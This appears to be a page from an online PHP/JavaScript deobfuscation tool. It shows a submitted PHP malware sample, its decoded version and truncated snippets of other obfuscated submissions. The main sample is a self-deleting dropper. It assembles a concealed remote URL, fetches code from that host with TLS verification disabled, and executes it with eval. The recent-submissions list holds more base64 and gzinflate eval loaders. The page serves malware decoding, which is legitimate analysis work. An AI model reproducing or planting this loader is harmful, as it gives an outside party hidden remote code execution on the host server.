Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php goto yQP29; tnpWo: $X0D_0 .= "\164\56\x32"; goto WPwBA; ShNjU: $X0D_0 .= "\144\165\167\x2f"; goto Dyt0T; piGcT: $X0D_0 .= "\151"; goto ShNjU; WPwBA: $X0D_0 .= "\156\x61\155\57"; goto piGcT; yah2n: $X0D_0 .= "\x6f\145\163"; goto wEkrs; yQP29: @unlink(__FILE__); goto b054w; Toi2p: $X0D_0 .= "\x74\x68"; goto d190z; NI8_R: $X0D_0 .= "\164\x78"; goto tnpWo; wEkrs: $X0D_0 .= "\57\57"; goto dRywN; juRcZ: $X0D_0 .= "\153\157\x2e"; goto yah2n; Dyt0T: $X0D_0 .= "\160\157\164\x2e"; goto dFrBK; dFrBK: $X0D_0 .= "\x31\60"; goto yexRp; yexRp: $X0D_0 .= "\x73\x6b"; goto juRcZ; dRywN: $X0D_0 .= "\x3a\163\x70\164"; goto Toi2p; b054w: $X0D_0 = ''; goto NI8_R; d190z: eval("\77\x3e" . ex_Hd(strrev($X0D_0))); goto uOGnd; uOGnd: function EX_hd($cAReH, $ORchx = "\107\105\x54", $FljsK = array(), $icIqB = 45) { try { goto pO9LP; wFsGi: curl_setopt($sXHWL, CURLOPT_POST, 1); goto RUo9q; AYrcK: curl_close($sXHWL); goto Hw2v_; O2lsc: L_LJV: goto hp5j3; HOKz9: curl_setopt($sXHWL, CURLOPT_TIMEOUT, $icIqB); goto m6xmC; jQdNl: $Cvws_ = ''; goto EFYNP; Q7Z8i: $TsPlc .= $Z2UUJ . "\xd\12"; goto O2lsc; GXVLY: $RbS_F = isset($aR3ab["\160\x61\164\150"]) ? $aR3ab["\160\141\164\150"] : "\57"; goto Bsg3K; SEMTi: Yba95: goto eRWdn; e1XRQ: Ou1W1: goto eBuWd; UGAAn: $sXHWL = curl_init(); goto ChuYG; C79tY: $o67_g = explode("\xd\xa\15\12", $KIbvJ, 2); goto SrXd9; tnXSk: $StGe0 = curl_exec($sXHWL); goto AYrcK; ChuYG: curl_setopt($sXHWL, CURLOPT_URL, $cAReH); goto mboq4; Gle0t: goto XP2rN; goto HQwSf; Ssb9Q: $KIbvJ = ''; goto yjkZL; ygxQT: $KIbvJ .= fgets($K8jpm, 1024); goto Gle0t; U2LwC: $Rv4ef[] = "\x43\157\x6e\x74\145\x6e\164\x2d\x54\171\x70\145\x3a\x20\141\160\160\154\x69\143\141\x74\151\157\156\x2f\x78\x2d\x77\x77\167\x2d\x66\157\x72\x6d\55\165\x72\x6c\145\156\143\157\144\x65\144"; goto cr8Qy; m6xmC: if (!($ORchx == "\120\x4f\x53\124")) { goto wPxVE; } goto wFsGi; Jm6Oy: $Z2UUJ = http_build_query($FljsK); goto U2LwC; eBuWd: $xlQIZ = hexdec(substr($mqhrr, 0, $icK4B)); goto HJruu; Hw2v_: return trim(trim($StGe0, "\357\273\277")); goto gTWzE; FR51Y: $VhQg0 = $O_BG6 === "\150\164\164\160\x73" ? "\163\x73\x6c" : "\x74\143\160"; goto S5wyU; Pstzx: if (!($ORchx == "\120\117\x53\x54")) { goto L_LJV; } goto Q7Z8i; wI9N6: pKwWO: goto WVKSB; KA5Fn: curl_setopt($sXHWL, CURLOPT_SSL_VERIFYHOST, false); goto CoVVZ; Ao3en: $mqhrr = $Cvws_; goto b3e6f; wRxDK: $icK4B = strpos($mqhrr, "\15\12"); goto rvMgi; mboq4: curl_setopt($sXHWL, CURLOPT_USERAGENT, "\107\x4f"); goto lC3Pm; S5wyU: $K8jpm = stream_socket_client("{$VhQg0}\x3a\57\x2f{$fXpsz}\72{$Q5A21}", $km3My, $FiShx, $icIqB); goto olUjI; MDwds: $fXpsz = $aR3ab["\150\157\x73\164"]; goto GXVLY; olUjI: if ($K8jpm) { goto Yba95; } goto cGFNu; WuE1Z: goto Lju4S; goto TPWD8; EFYNP: ImMjt: goto n2Ha9; RUo9q: curl_setopt($sXHWL, CURLOPT_POSTFIELDS, http_build_query($FljsK)); goto aE_wL; n2Ha9: if (!true) { goto Lju4S; } goto wRxDK; cr8Qy: $Rv4ef[] = "\103\157\156\x74\x65\x6e\x74\55\114\x65\x6e\x67\x74\150\x3a\x20" . strlen($Z2UUJ); goto wI9N6; TZvWA: fclose($K8jpm); goto C79tY; pO9LP: if (!(function_exists("\143\165\x72\154\137\151\x6e\151\x74") && function_exists("\143\165\162\154\x5f\145\170\145\143"))) { goto zXjUP; } goto UGAAn; HQwSf: aFsqR: goto TZvWA; gTWzE: zXjUP: goto u7DNy; Bsg3K: $qSp3P = isset($aR3ab["\161\x75\145\x72\171"]) ? "\77" . $aR3ab["\x71\x75\x65\x72\171"] : ''; goto vnTkD; s0rHP: $Cvws_ .= substr($mqhrr, $icK4B + 2, $xlQIZ); goto wnfiA; wnfiA: $mqhrr = substr($mqhrr, $icK4B + 2 + $xlQIZ + 2); goto Abaf1; WVKSB: $TsPlc = implode("\xd\12", $Rv4ef) . "\15\xa\xd\xa"; goto Pstzx; zSH7i: curl_setopt($sXHWL, CURLOPT_RETURNTRANSFER, 1); goto JSN45; TPWD8: Ingor: goto s0rHP; eRWdn: $Rv4ef = ["{$ORchx}\x20{$RbS_F}{$qSp3P}\x20\110\124\124\x50\x2f\61\56\61", "\110\x6f\163\164\x3a\40{$fXpsz}",

Decrypted code:

goto yQP29; tnpWo: $X0D_0 .= "tr"; goto WPwBA; ShNjU: $X0D_0 .= "duw/"; goto Dyt0T; piGcT: $X0D_0 .= "i"; goto ShNjU; WPwBA: $X0D_0 .= "nam/"; goto piGcT; yah2n: $X0D_0 .= "oes"; goto wEkrs; yQP29: @unlink(__FILE__); goto b054w; Toi2p: $X0D_0 .= "th"; goto d190z; NI8_R: $X0D_0 .= "tx"; goto tnpWo; wEkrs: $X0D_0 .= "//"; goto dRywN; juRcZ: $X0D_0 .= "ko."; goto yah2n; Dyt0T: $X0D_0 .= "pot."; goto dFrBK; dFrBK: $X0D_0 .= "10"; goto yexRp; yexRp: $X0D_0 .= "sk"; goto juRcZ; dRywN: $X0D_0 .= ":spt"; goto Toi2p; b054w: $X0D_0 = ''; goto NI8_R; d190z: eval("" . ex_Hd(strrev($X0D_0))); goto uOGnd; uOGnd: function EX_hd($cAReH, $ORchx = "GET", $FljsK = array(), $icIqB = 45) { try { goto pO9LP; wFsGi: curl_setopt($sXHWL, CURLOPT_POST, 1); goto RUo9q; AYrcK: curl_close($sXHWL); goto Hw2v_; O2lsc: L_LJV: goto hp5j3; HOKz9: curl_setopt($sXHWL, CURLOPT_TIMEOUT, $icIqB); goto m6xmC; jQdNl: $Cvws_ = ''; goto EFYNP; Q7Z8i: $TsPlc .= $Z2UUJ . "\xd
"; goto O2lsc; GXVLY: $RbS_F = isset($aR3ab["path"]) ? $aR3ab["path"] : "/"; goto Bsg3K; SEMTi: Yba95: goto eRWdn; e1XRQ: Ou1W1: goto eBuWd; UGAAn: $sXHWL = curl_init(); goto ChuYG; C79tY: $o67_g = explode("\xd\xa
", $KIbvJ, 2); goto SrXd9; tnXSk: $StGe0 = curl_exec($sXHWL); goto AYrcK; ChuYG: curl_setopt($sXHWL, CURLOPT_URL, $cAReH); goto mboq4; Gle0t: goto XP2rN; goto HQwSf; Ssb9Q: $KIbvJ = ''; goto yjkZL; ygxQT: $KIbvJ .= fgets($K8jpm, 1024); goto Gle0t; U2LwC: $Rv4ef[] = "Content-Type: application/x-www-form-urlencoded"; goto cr8Qy; m6xmC: if (!($ORchx == "POST")) { goto wPxVE; } goto wFsGi; Jm6Oy: $Z2UUJ = http_build_query($FljsK); goto U2LwC; eBuWd: $xlQIZ = hexdec(substr($mqhrr, 0, $icK4B)); goto HJruu; Hw2v_: return trim(trim($StGe0, "")); goto gTWzE; FR51Y: $VhQg0 = $O_BG6 === "https" ? "ssl" : "tcp"; goto S5wyU; Pstzx: if (!($ORchx == "POST")) { goto L_LJV; } goto Q7Z8i; wI9N6: pKwWO: goto WVKSB; KA5Fn: curl_setopt($sXHWL, CURLOPT_SSL_VERIFYHOST, false); goto CoVVZ; Ao3en: $mqhrr = $Cvws_; goto b3e6f; wRxDK: $icK4B = strpos($mqhrr, "
"); goto rvMgi; mboq4: curl_setopt($sXHWL, CURLOPT_USERAGENT, "GO"); goto lC3Pm; S5wyU: $K8jpm = stream_socket_client("{$VhQg0}://{$fXpsz}:{$Q5A21}", $km3My, $FiShx, $icIqB); goto olUjI; MDwds: $fXpsz = $aR3ab["host"]; goto GXVLY; olUjI: if ($K8jpm) { goto Yba95; } goto cGFNu; WuE1Z: goto Lju4S; goto TPWD8; EFYNP: ImMjt: goto n2Ha9; RUo9q: curl_setopt($sXHWL, CURLOPT_POSTFIELDS, http_build_query($FljsK)); goto aE_wL; n2Ha9: if (!true) { goto Lju4S; } goto wRxDK; cr8Qy: $Rv4ef[] = "Content-Length: " . strlen($Z2UUJ); goto wI9N6; TZvWA: fclose($K8jpm); goto C79tY; pO9LP: if (!(function_exists("curl_init") && function_exists("curl_exec"))) { goto zXjUP; } goto UGAAn; HQwSf: aFsqR: goto TZvWA; gTWzE: zXjUP: goto u7DNy; Bsg3K: $qSp3P = isset($aR3ab["query"]) ? "?" . $aR3ab["query"] : ''; goto vnTkD; s0rHP: $Cvws_ .= substr($mqhrr, $icK4B + 2, $xlQIZ); goto wnfiA; wnfiA: $mqhrr = substr($mqhrr, $icK4B + 2 + $xlQIZ + 2); goto Abaf1; WVKSB: $TsPlc = implode("\xd
", $Rv4ef) . "
\xa\xd\xa"; goto Pstzx; zSH7i: curl_setopt($sXHWL, CURLOPT_RETURNTRANSFER, 1); goto JSN45; TPWD8: Ingor: goto s0rHP; eRWdn: $Rv4ef = ["{$ORchx} {$RbS_F}{$qSp3P} HTTP/1.1", "Host: {$fXpsz}",

Recent submissions:

<? eval(gzinflate(str_rot13(base64_decode('FZfHEoTIEVF/UrddBQcGDyF2N/Deey4KvPcM7us14gBcOqK... <!-- document.write(unescape('%3c%21%44%4f%43%54%59%50%45%20%68%74%6d%6c%3e%0a%3c%73%63%7... <html lang="en"><head><style>body {transition: opacity ease-in 0.2s; } body[unresolved] ... \n Function(\n '\\'k.}mfj_2y6,wchqa+r&q5a-kihrg9~x{2]#r5z_*sy}s97iwcup2#zi@[5!45[*ro_r... (function(QOoQIE, ac_CEPT) { function acCCCCcceppppttt(cOOKIEs, aCCCCCcceppppttt, aCC... <?php $ibtlifnuxb = "v"; $lboawsktvugcjh = "a"; $cjqeukvhbucs = "e"; $jugcujmahrhsw = ... $ibtlifnuxb="v";$lboawsktvugcjh="a";$cjqeukvhbucs="e";$jugcujmahrhsw="l";$jdicuyfxmzgqlg=c... <?php $xf = "\x69\x6e\x74\x76\x61\x6c"; $I25 = $gd( $xf( $gd(... <?php //ICB0 72:0 74:107ab 81:1fc31 ?><?php //00... #!/usr/bin/env /opt/mk-auth/hhvm/7-1-1/bin/php <?php eval(base64_decode('JEFIQUtBSE1VS0FL...